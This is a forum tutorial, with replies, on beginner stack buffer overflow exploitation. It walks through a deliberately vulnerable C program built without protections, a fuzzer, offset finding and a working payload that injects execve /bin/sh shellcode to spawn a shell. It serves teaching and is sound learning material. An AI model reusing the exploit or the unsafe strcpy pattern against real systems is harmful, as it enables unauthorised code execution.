Getting cozy with exploit development

Community Assigned Level:

  • Newbie
  • Wannabe
  • Hacker
  • Wizard
  • Guru
0 voters

There won’t be anything groundbreaking in here, and a lot of the content will be sourced from others (properly attributed, mind you).

However, I am going to try to bring a different perspective to the table to bridge the gap I faced somewhere in-between where my understanding stopped and the write-ups picked up. This is the path I’ve taken learning the basics of exploit development.

There may be technical inaccuracies as this is my own understanding after 6-months of playing around in memory and doing CTF challenges. Please send any corrections my way.

I’ll be breaking this post up into the following sections:

Your Journey Begins

We’ll start with the basics, these are things you should read before you begin your journey. Don’t worry if you don’t grasp the entirety of the knowledge shared by these authors, but try to look at the graphs and read the posts and start thinking about it. Having a small foundation to build on will help you out greatly when it comes time to get lost sifting through memory.

First, a basic understanding of assembly is necessary to be able to make sense of what we’re going to be doing. Let’s watch a crash course on x86 assembly by HackUCF

Further Reading

Buffer Overflow Attacks: Detect, Exploit, Prevent
This is probably the greatest book for beginners on the subject I’ve ever read. It not only gives you unique perspectives on how the exploits work but also is full of history and examples.

SkullSecurity - Assembly Language Tutorial
This is probably one of the greatest and least terrifying introductions to assembly I have ever read. It’s what got me on track to beginning to understand the building blocks of computer systems. Reading through each section a few times, will leave you feeling a lot more confident in what you’re about to embark on.

Many But Finite - Anatomy of a Program in Memory
This post is great as a first deep look into how memory works. I find that in order to successfully build exploits we almost have to undergo a perceptual switch in which we can really think in the context of a program running in memory.

Many But Finite - Journey to the Stack
Of course, when it comes to exploit development there is a lot of work to be done in the stack, this post is that deep dive into how the stack actually works. You really need to get an understanding of how a stack frame is built if you want to build fake stack frames.

Many But Finite - Epilogues, Canaries, and Buffer Overflows
This is a great post for detailing how a buffer overflow occurs and begins to touch on the idea of security mechanisms we may encounter on our journeys.

Processors and Weird Machines

From Buffer Overflows to “Weird Machines” and Theory of Computation
This really helped me bridge that gap of understanding what we were doing when we exploited a buffer overflow. We are literally creating weird machines out of systems, allowing us to build our own systems within systems. In some cases you can even achieve Turing completeness through these weird machines.

Weird Machines, Exploitability, and provable non-exploitability
I recently stumbled upon this slideshow by Thomas Dullien which discusses this very concept. The key takeaway from these slides for me was that it’s easy to teach someone how to overwrite the instruction pointer and jump to a bit of attacker controlled memory. However, what does that really teach someone? Can they apply it in a slightly, or perhaps wildly, different scenario? Probably not.

He defines weird machines really well. As the exploit developer, you are exploring what you can do with these weird machines. Much like programming, you have to be able to troubleshoot and debug your code and you have to be able to visualize your exploit in memory to properly understand what you are doing.

Breaking the x86 Instruction Set

This video does a great job of explaining why there is a fundamental problem with the processor and why we cannot solve the problem with software alone. You don’t have to watch the whole thing now, however, I would recommend coming back to it when you’ve gained a bit of a better understanding.

The key takeaway here is that cpu’s inherently trust everything you tell them to do, and with a trust-model like this it’s no wonder that achieving malicious code execution is so trivial. Software intends to define a logic set that implements memory protections to stop such attacks. However, at the end of the day all it takes is one mistake in an incredibly complex system to make it past those protections and for the cpu to happily run your code. That’s its job, after all.

Tools of the trade

Before we go on, let’s talk about some tools that you’ll likely want to have at your disposal. There are loads of different tools out there for assisting in reverse engineering and exploit development, I’d recommend you explore them all.

This video by LiveOverflow goes over a lot of different command line tools as well as feature rich debuggers such as file, strings, ltrace, strace, objdump, hopper, and radare2. Consider this a primer.

Below are some quick cheatsheets on using some of the tools I find to be the most useful in building exploits.

Immunity Debugger

Breakpoint: F2
Step: F7
Exec till Return: Ctrl+F9
Run: F9
Pause: F12

mona.py

config [option] [value] - set configuration
pc [size] - generate cyclic pattern
po [address] - find offset
findmsp - find register overwritten with pattern
bytearray -b [badchars] - generate bytes from 0x00 to 0xff excluding badchars
jmp -r [register] - find a jump point
-n - skip modules that start with 0x00
-o - skip os modules
-m - module
-cm - module property
-cpd - filter bad chars

WinDBG

# Shortcuts
Open Executable: CTRL+E
Attach to process: F6
Memory: Alt+5
Close Window: Ctrl+F4
Restart: Ctrl+Shift+F5
Break: Ctrl+Break

# Commands
g - pass exception
gN - step
bp [address] - breakpoint
bl - list breakpoints
!exchain - view exception chain
.load pykd.pyd - load python
!py mona [command] [args] - exceute mona stuff
a -> [jmp address]
u [address] - inspect
u - view stack
t - step

gdb

disas - disassemble
b - breakpoint
c - continue
r - run
p - print address
st - step
x - examine
  x/s - examine string
  x/n - examine n entries
i r - info registers
i proc m - info proc map
define hook - build a hook to call under conditions
vm - virtual memory
si - step instruction (follow jumps)
ni - next instruction

Other Tools

There are other very useful tools, you can google them.

IDA Pro
gdb-peda
pwntools
x64dbg
ollydbg

Setting up your environment

When you run gdb it does a few things to setup its environment that will make it slightly different from your terminal’s environment. This will cause issues dealing with memory addresses because environmental variables wind up in the memory space of our running program.

In order to cause the least amount of headaches try adding these commands to your .gdbinit file.

bash -c "echo 'unset env LINES' >> .gdbinit"
bash -c "echo 'unset env COLUMNS' >> .gdbinit"

This will align your memory in gdb with your normal shell. Otherwise the return address you use to jump to your shellcode won’t be the same in gdb as it is in your terminal. This will stop your shell from running outside of gdb.

Lastly, we’ll disable ASLR. Also check to make sure it’s been disabled (0 = disabled).

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space 
0

Alright with that out of the way we can get started!

The Instruction Pointer

The instruction pointer as you probably know by now is the most important pointer for developing a basic stack-based exploit. Luckily these days gaining control of this pointer isn’t enough to gain code execution, but it’s still very important to understand how to gain control of pointers before you can move onto more complex topics.

Generally, the concept is very simple, you find out how to supply data to the input you suspect is vulnerable. Throw data at it until you observe a crash. You can then use the metasploit-framework to build out a unique pattern and then analyze the overwritten Instruction Pointer to determine the exact offset to overwrite it.

Here is a great video for first visualizing a buffer overflow:

It’s the first video I watched and I honestly still go back to it from time to time. I find as I gain more knowledge in this area, my understanding of simple concepts grows dramatically. For example, the way I visualized a stack 6 months ago versus the way I visualize it now are worlds apart.

Fuzzing

There are plenty of ways to fuzz an application for a crash, in addition to this there are a lot of different ways a user can interact with the input of an application. You have to think about this in order to understand how to build a fuzzing tool. For example, if you are supplying data from stdin, your fuzzer will operate slightly differently than if you’re sending the data in an http get request to a webserver.

There is also great tooling for Fuzzing applications you should explore, however for the purposes of this post we will be taking a manual approach. If you’re interested in Fuzzing tools check out Sulley.

Since we are going to keep it simple for the sake of this post, consider the following vulnerable program, which takes user input as a command line argument.

#include <string.h>
int main(int argc, char *argv[])
{
    char buff[256];
    strcpy(buff, argv[1]);
    return 0;
}

Compiled with

gcc -o test test.c -m32 -fno-stack-protector -z execstack -no-pie -Wl,-z,norelro

In order to fuzz certain parts of a binary you may have to reverse engineer the steps required to get to the specific input to fuzz before you can automate throwing your fuzz data at it. However, in this instance we are trying to keep it simple. So let’s just jump in and build our fuzzer:

#!/usr/bin/python
import subprocess, sys
# How many bytes do we wanna set as our maximum
MAX_BYTES = 300
# How many bytes to increment each attempt by
SEED_BYTES = 1
# Default buffer
BUFFER = "A"
while len(BUFFER) <= MAX_BYTES:
    command = ["./test {}".format(BUFFER)]
    process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
    print "[x] Throwing {} bytes...".format(len(BUFFER))
    if process.stderr.read() == "Segmentation fault\n":
        # Segfault was reached, we crashed at len(BUFFER)
        print "[!] Crashed with {} bytes.".format(len(BUFFER))
        sys.exit()
    # Increment our Bufffer by SEED_BYTES
    BUFFER += "A" * SEED_BYTES

Observing a crash

In some instances, you may want to open gdb or whatever debugger you are using and observe the crash by opening the executable before fuzzing or attaching to an already running process. For this example, we’re just going to run our fuzzer first.

Fuzz the input with our python script

➜  python test.py
[x] Throwing 1 bytes...
[x] Throwing 2 bytes...
--skip a few---
[!] Crashed with 256 bytes.

Great so we know the program crashes at 256-bytes, which makes sense because we were creating a buffer of 256-bytes in the C program, and then using strcpy to copy argv[1] into that buffer. It crashes when it runs into a situation where it has nothing to do.

For example, if you overwrite the Instruction Pointer with A’s or 0x41414141, it will crash when it tries to jump to that address because there is no 0x41414141 in memory. Knowing this, we can create an exploit that works within the 256-bytes that we have control over, if we exceed that we will overwrite some arbitrary memory and cause a crash.

We may also cause a crash by writing less than 256-bytes. For example, if we find an offset to overwrite EIP, but don’t pad the right side to equal a total of 256-bytes It’s possible that EIP won’t be overwritten with the value we think because EIP itself is an offset. That padding will allow us to align our EIP so that it is read as we intend it. Remember earlier when we talked about exploring as an exploit developer? This is part of that process.

Dancing around in memory

Before we focus on controling EIP, lets run through our assembly. There is a great tool we can use to get comfortable with it at godbolt.

Explore it, get used to looking at it, we’re going to be spending a lot of time disassembling functions.

Alright, let’s get started by creating a pattern of 256-bytes using the metasploit-framework’s pattern_create.

➜  /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 256       
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A

Using this pattern let’s observe the crash in gdb. First open the program with gdb, then we run the program with our pattern.

gdb-peda$ r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A
Starting program: /home/dostoevsky/example/test Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A

Program received signal SIGSEGV, Segmentation fault.

Notice we hit our Segmentation fault, here is what our registers look like, you’ll see that part of our pattern flows into ESP and ECX points to ESP, and that our EIP gets overwritten as Ad6A or 0x41366441

[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0xffffd000 ("d7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A")
EDX: 0xffffd08e --> 0xd0004134 
ESI: 0xf7f9a000 --> 0x1cfd70 
EDI: 0x0 
EBP: 0x0 
ESP: 0xffffd000 ("d7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A")
EIP: 0x41366441 ('Ad6A')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)

A full look at our stack

[------------------------------------stack-------------------------------------]
0000| 0xffffd000 ("d7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A")
0004| 0xffffd004 ("8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A")
0008| 0xffffd008 ("Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A")
0012| 0xffffd00c ("e1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A")
0016| 0xffffd010 ("2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A")
0020| 0xffffd014 ("Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A")
0024| 0xffffd018 ("e5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A")
0028| 0xffffd01c ("6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A")

This is because we threw a pattern that filled up our buffer at our vulnerable program. You can determine the exact offset to overwrite EIP using metasploit-framework’s pattern_offset

➜  /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41366441
[*] Exact match at offset 108

Okay, so now we should be able to gain control of EIP with 108-bytes, the next 4-bytes will overwrite EIP, and the remaining 144-bytes after that should be padded to fill up our buffer (causing our program to crash). Our exploit will be in the order of [108-bytes][EIP][Padding].

Our padding is easy to calculate. We just take our crash point - offset - EIP == 144 and then multiply them by our padding character, in this case, we’ll use “C” or 0x43434343. Here’s a visualization of what our exploit order will look like

Getting cozy with exploit development

Let’s give it a try!

gdb-peda$ r `python -c "print 'A' * 108 + 'BBBB' + 'C' * (256 - 108 - 4)"`
Starting program: /home/dostoevsky/example/test `python -c "print 'A' * 108 + 'BBBB' + 'C' * (256 - 108 - 4)"`

Program received signal SIGSEGV, Segmentation fault.

And as you can see we hit our Segmentation fault and our EIP is overwritten with 0x42424242 or BBBB, which is what we wanted. You also notice that ESP gets overwritten with our 144 C’s. This is because we padded the right side of our exploit to fill up the full 256-bytes with "C" * ( 256 - 108 - 4) which equals 144.

Program received signal SIGSEGV, Segmentation fault
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0xffffd000 ('C' <repeats 144 times>)
EDX: 0xffffd08e --> 0xd0004343 
ESI: 0xf7f9a000 --> 0x1cfd70 
EDI: 0x0 
EBP: 0x0 
ESP: 0xffffd000 ('C' <repeats 144 times>)
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)

And oberving our stack, we have our 144 C’s starting

[------------------------------------stack-------------------------------------]
0000| 0xffffd000 ('C' <repeats 144 times>)
0004| 0xffffd004 ('C' <repeats 140 times>)
0008| 0xffffd008 ('C' <repeats 136 times>)
0012| 0xffffd00c ('C' <repeats 132 times>)
0016| 0xffffd010 ('C' <repeats 128 times>)
0020| 0xffffd014 ('C' <repeats 124 times>)
0024| 0xffffd018 ('C' <repeats 120 times>)
0028| 0xffffd01c ('C' <repeats 116 times>)

Great so we’ve gained control of EIP evidenced by it being set to 0x42424242, all we need to do now is execute some code. You’ll notice that the space we determined the size of after our overwritten EIP is only going to allow us 144-bytes to work with. To be clear this is the start of our ESP (extended stack pointer) which points to the top of our stack, however, keep in mind the stack grows towards lower memory.

To get an idea of the layout in memory you can use info proc m or vm

gdb-peda$ info proc map
process 70832
Mapped address spaces:

	Start Addr   End Addr       Size     Offset objfile
	 0x8048000  0x8049000     0x1000        0x0 /home/dostoevsky/example/test
	 0x8049000  0x804a000     0x1000        0x0 /home/dostoevsky/example/test
	0xf7dca000 0xf7f97000   0x1cd000        0x0 /lib32/libc-2.26.so
	0xf7f97000 0xf7f98000     0x1000   0x1cd000 /lib32/libc-2.26.so
	0xf7f98000 0xf7f9a000     0x2000   0x1cd000 /lib32/libc-2.26.so
	0xf7f9a000 0xf7f9b000     0x1000   0x1cf000 /lib32/libc-2.26.so
	0xf7f9b000 0xf7f9e000     0x3000        0x0 
	0xf7fd0000 0xf7fd2000     0x2000        0x0 
	0xf7fd2000 0xf7fd5000     0x3000        0x0 [vvar]
	0xf7fd5000 0xf7fd7000     0x2000        0x0 [vdso]
	0xf7fd7000 0xf7ffc000    0x25000        0x0 /lib32/ld-2.26.so
	0xf7ffc000 0xf7ffd000     0x1000    0x24000 /lib32/ld-2.26.so
	0xf7ffd000 0xf7ffe000     0x1000    0x25000 /lib32/ld-2.26.so
	0xfffdd000 0xffffe000    0x21000        0x0 [stack]

Since we have 144-bytes to work with in our buffer, we will write our shellcode here. For this reason we will jump to the start of ESP, and as we know the instruction pointer points to the next address in memory to jump and execute. So, we will point it to our ESP (the start of our "C"s)

gdb-peda$ x $esp
0xffffd000:	'C' <repeats 144 times>

However, this is using 0x00 which is generally used for string termination and will be considered a bad character. You can learn more about bad characters in the write-up by ch3rn0byl linked in the practice section later.

Luckily, we have 144-bytes to work with so giving up 1-byte isn’t a big deal.

gdb-peda$ x $esp+1
0xffffd001:	'C' <repeats 143 times>

Let’s try it out using the \xCC trap instruction, and our return address of 0xffffd001. First let’s put it in little-endian notation: \x01\xd0\xff\xff. Essentially the trap instruction will halt our execution but let us know code execution is possible if it falls into the trap.

gdb-peda$ r `python -c "print 'A' * 108 + '\x01\xd0\xff\xff' + '\xCC' * (256 - 108 - 4)"`
Starting program: /home/dostoevsky/example/test `python -c "print 'A' * 108 + '\x01\xd0\xff\xff' + '\xCC' * (256 - 108 - 4)"`

Program received signal SIGTRAP, Trace/breakpoint trap.

Great so we hit our SIGTRAP, and our registers look like this, notice ECX, ESP, and EIP point to 0xcccccccc. Also notice that EIP is set to our 0xffffd002, it jumped to our EIP of 0xffffd001 and then fell into our trap of 0xCC.

[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0xffffd000 --> 0xcccccccc 
EDX: 0xffffd08e --> 0xd000cccc 
ESI: 0xf7f9a000 --> 0x1cfd70 
EDI: 0x0 
EBP: 0x0 
ESP: 0xffffd000 --> 0xcccccccc 
EIP: 0xffffd002 --> 0xcccccccc
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)

Lastly, our stack layout now looks like this

[------------------------------------stack-------------------------------------]
0000| 0xffffd000 --> 0xcccccccc 
0004| 0xffffd004 --> 0xcccccccc 
0008| 0xffffd008 --> 0xcccccccc 
0012| 0xffffd00c --> 0xcccccccc 
0016| 0xffffd010 --> 0xcccccccc 
0020| 0xffffd014 --> 0xcccccccc 
0024| 0xffffd018 --> 0xcccccccc 
0028| 0xffffd01c --> 0xcccccccc 
Note: Never use shellcode if you don't know what it does.

Great so we know code execution is possible, and we know that we have 143-bytes to work with. We can just use this short payload of only 28-bytes from shell-storm:

\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80

Now, we need to figure out where to put this.

Putting it all together

Now, all we need to do is jump to this address and replace our traps with our shellcode.

We need to fill up this buffer with padding so that the shell code takes up 28-bytes and the padding takes up the remaining 144-bytes just like we did with our trap earlier. Remember the math for this padding is 256 (buffer) - 108 (offset) - 4 (EIP) - 28 (shellcode). This will be fairly easy to construct, first we will use a concept referred to as a nopsled to slide into our shellcode, we’ll fill up the start of our space with \0x90 (no operations) and when we jump to it, our stack will just jump over each NOP until it hits our shellcode. It will be something in the order of [Buffer][EIP][NOPSled][Shellcode], where our nopsled and shellcode act as our padding. It will look like this:

Let’s try it out!

gdb-peda$ r `python -c "print 'A' * 108 + '\x01\xd0\xff\xff' + '\x90' * (256 - 108 - 4 - 28) + '\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80'"`
Starting program: /home/dostoevsky/example/test `python -c "print 'A' * 108 + '\x01\xd0\xff\xff' + '\x90' * (256 - 108 - 4 - 28) + '\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80'"`
process 70842 is executing new program: /bin/dash
$ id
[New process 70844]
process 70844 is executing new program: /usr/bin/id
uid=1000(dostoevsky) gid=1000(dostoevsky) groups=1000(dostoevsky),27(sudo)

Great it works in gdb! Now let’s try to run it on our command line to make sure everything lines up correctly.

➜  ./test `python -c "print 'A' * 108 + '\x01\xd0\xff\xff' + '\x90' * (256 - 108 - 4 - 28) + '\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80'"`
[1]    70865 segmentation fault  ./test 

Notice it fails if we try to run it, this is because of those environmental variables we mentioned earlier. In gdb the environmental variables it sets use the full path to the binary, even if you don’t supply it, so here we must also use the full path to make everything line up in memory.

You can observe the difference in the arguments (remember the command we run is also an argument within bash) by using strace:

➜  strace ./test
execve("./test", ["./test"], 0x7fffffffe120 /* 52 vars */) = 0

versus

➜  strace /home/dostoevsky/example/test
execve("/home/dostoevsky/example/test", ["/home/dostoevsky/example/test"], 0x7fffffffe110 /* 52 vars */) = 0

So let’s try that again with the full path:

➜  /home/dostoevsky/example/test `python -c "print 'A' * 108 + '\x01\xd0\xff\xff' + '\x90' * (256 - 108 - 4 - 28) + '\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80'"`
$ id
uid=1000(dostoevsky) gid=1000(dostoevsky) groups=1000(dostoevsky),27(sudo)

And voila, just like that we have code execution like its 1999 again! Obviously, in modern exploitation, there has been significant advances in memory protections.
Therefore, this approach should no longer be possible.

However, hopefully you have gained some insight of how this all works. This will make adapting to different scenarios and environments easier.

Practice makes slightly better

One of my favorite quotes is by Isaac Newton where he said:

If I have seen further it is by standing on ye sholders of Giants

This couldn’t be truer of exploit development, we are able to continue research and advance our techniques because the experts before us were kind enough to share their research and give us a boost to the high chair. We are but children in this field, respect that, put in the work and it will pay off.

Essentially you need to learn how to dance around in memory, there is no better way to do this than to just get your hands dirty.

Practice these basic concepts using some of these write-ups, but in addition to that just jump in your debugger and move around memory until you understand what is going on.

Phrack 49 - Smashing The Stack For Fun And Profit

My 20% - Smashing the Stack in 2011

Whiskey Tango Foxtrot - Smashing the Stack for Fun & Profit : Revived

Corelan Team - Exploit writing tutorial part 1 : Stack Based Overflows

ch3rn0byl - Intro to Buffer Overflows

The Grey Corner - Stack Based Windows Buffer Overflow Tutorial

Hope the content of this post helps you to bridge the gap too!

15 Likes

Small addition to that:
If you don’t have the metasploit framework installed but are using either pwntools or a gdb enhancement like pwndbg you can use either to create cyclic patterns as well:

Using pwntools:

>>> from pwn import *
>>> print cyclic(256)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac
>>> 

Using: pwndbg:

$ gdb -q
Loaded 108 commands. Type pwndbg [filter] for a list.
pwndbg> cyclic 256
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac
pwndbg> 

Besides that quite a nice introduction to the whole topic :slight_smile: !

4 Likes

True! Also if you are using windbg and immunity in the future with mona.py you can use

pc 256

To generate and

po 0xd34db33f

to find the offset.

1 Like

Hey there, I haven’t had the chance to thoroughly read this yet, but would you please replace those video screenshots with functioning links? You can even set the start time of the video with a parameter like: ?t=1m56s.

1 Like

This topic was automatically closed after 30 days. New replies are no longer allowed.